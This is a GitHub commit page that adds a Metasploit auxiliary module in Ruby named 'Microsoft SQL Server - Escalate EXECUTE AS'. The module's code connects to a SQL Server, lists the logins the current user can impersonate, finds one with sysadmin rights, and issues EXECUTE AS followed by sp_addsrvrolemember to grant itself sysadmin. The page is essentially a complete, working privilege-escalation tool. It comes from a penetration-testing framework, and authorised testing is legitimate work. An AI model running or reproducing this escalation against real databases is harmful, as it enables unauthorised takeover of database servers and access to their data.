Skip to content

Commit 39b8bcc

Browse files
committed
Merge branch 'upstream/master' of github.com:rapid7/metasploit-framework
2 parents 4987f77 + 3faf4a4 commit 39b8bcc

File tree

1 file changed

+157
-0
lines changed

1 file changed

+157
-0
lines changed
Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/mssql_commands'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::MSSQL
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Microsoft SQL Server - Escalate EXECUTE AS',
16+
'Description' => %q{
17+
This module can be used escalate privileges if the IMPERSONATION privilege has been
18+
assigned to the user. In most cases this results in additional data access, but in
19+
some cases it can be used to gain sysadmin privileges.
20+
},
21+
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
22+
'License' => MSF_LICENSE,
23+
'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
24+
))
25+
end
26+
27+
def run
28+
# Check connection and issue initial query
29+
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
30+
if mssql_login_datastore
31+
print_good('Connected.')
32+
else
33+
print_error('Login was unsuccessful. Check your credentials.')
34+
disconnect
35+
return
36+
end
37+
38+
# Query for sysadmin status
39+
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
40+
user_status = check_sysadmin
41+
42+
# Check if user has sysadmin role
43+
if user_status == 1
44+
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
45+
disconnect
46+
return
47+
else
48+
print_status("You're NOT a sysadmin, let's try to change that.")
49+
end
50+
51+
# Get a list of the users that can be impersonated
52+
print_status("Enumerating a list of users that can be impersonated...")
53+
imp_user_list = check_imp_users
54+
if imp_user_list.nil? || imp_user_list.length == 0
55+
print_error('Sorry, the current user doesn\'t have permissions to impersonate anyone.')
56+
disconnect
57+
return
58+
else
59+
# Display list of users that can be impersonated
60+
print_good("#{imp_user_list.length} users can be impersonated:")
61+
imp_user_list.each do |db|
62+
print_status(" - #{db[0]}")
63+
end
64+
end
65+
66+
# Check if any of the users that can be impersonated are sysadmins
67+
print_status('Checking if any of them are sysadmins...')
68+
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
69+
if imp_user_sysadmin.nil?
70+
print_error('Sorry, none of the users that can be impersonated are sysadmins.')
71+
disconnect
72+
return
73+
end
74+
75+
# Attempt to escalate to sysadmin
76+
print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...")
77+
escalate_status = escalate_privs(imp_user_sysadmin[0])
78+
if escalate_status
79+
# Check if escalation was successful
80+
user_status = check_sysadmin
81+
if user_status == 1
82+
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
83+
else
84+
print_error('Fail buckets, something went wrong.')
85+
end
86+
else
87+
print_error('Error while trying to escalate privileges.')
88+
end
89+
90+
disconnect
91+
return
92+
end
93+
94+
# Checks if user is a sysadmin
95+
def check_sysadmin
96+
# Setup query to check for sysadmin
97+
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
98+
99+
# Run query
100+
result = mssql_query(sql)
101+
102+
# Parse query results
103+
parse_results = result[:rows]
104+
status = parse_results[0][0]
105+
106+
# Return status
107+
return status
108+
end
109+
110+
# Gets trusted databases owned by sysadmins
111+
def check_imp_users
112+
# Setup query
113+
sql = "SELECT DISTINCT b.name
114+
FROM sys.server_permissions a
115+
INNER JOIN sys.server_principals b
116+
ON a.grantor_principal_id = b.principal_id
117+
WHERE a.permission_name = 'IMPERSONATE'"
118+
119+
result = mssql_query(sql)
120+
121+
# Return on success
122+
return result[:rows]
123+
end
124+
125+
# Checks if user has the db_owner role
126+
def check_imp_sysadmin(trust_db_list)
127+
# Check if the user has the db_owner role is any databases
128+
trust_db_list.each do |imp_user|
129+
# Setup query
130+
sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status"
131+
132+
# Run query
133+
result = mssql_query(sql)
134+
135+
# Parse query results
136+
parse_results = result[:rows]
137+
status = parse_results[0][0]
138+
if status == 1
139+
print_good(" - #{imp_user[0]} is a sysadmin!")
140+
return imp_user
141+
else
142+
print_status(" - #{imp_user[0]} is NOT sysadmin!")
143+
end
144+
end
145+
nil
146+
end
147+
148+
def escalate_privs(imp_user_sysadmin)
149+
# Impersonate the first sysadmin user on the list
150+
evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';
151+
EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"
152+
153+
mssql_query(evil_sql_create)
154+
155+
true
156+
end
157+
end

0 commit comments

Comments
 (0)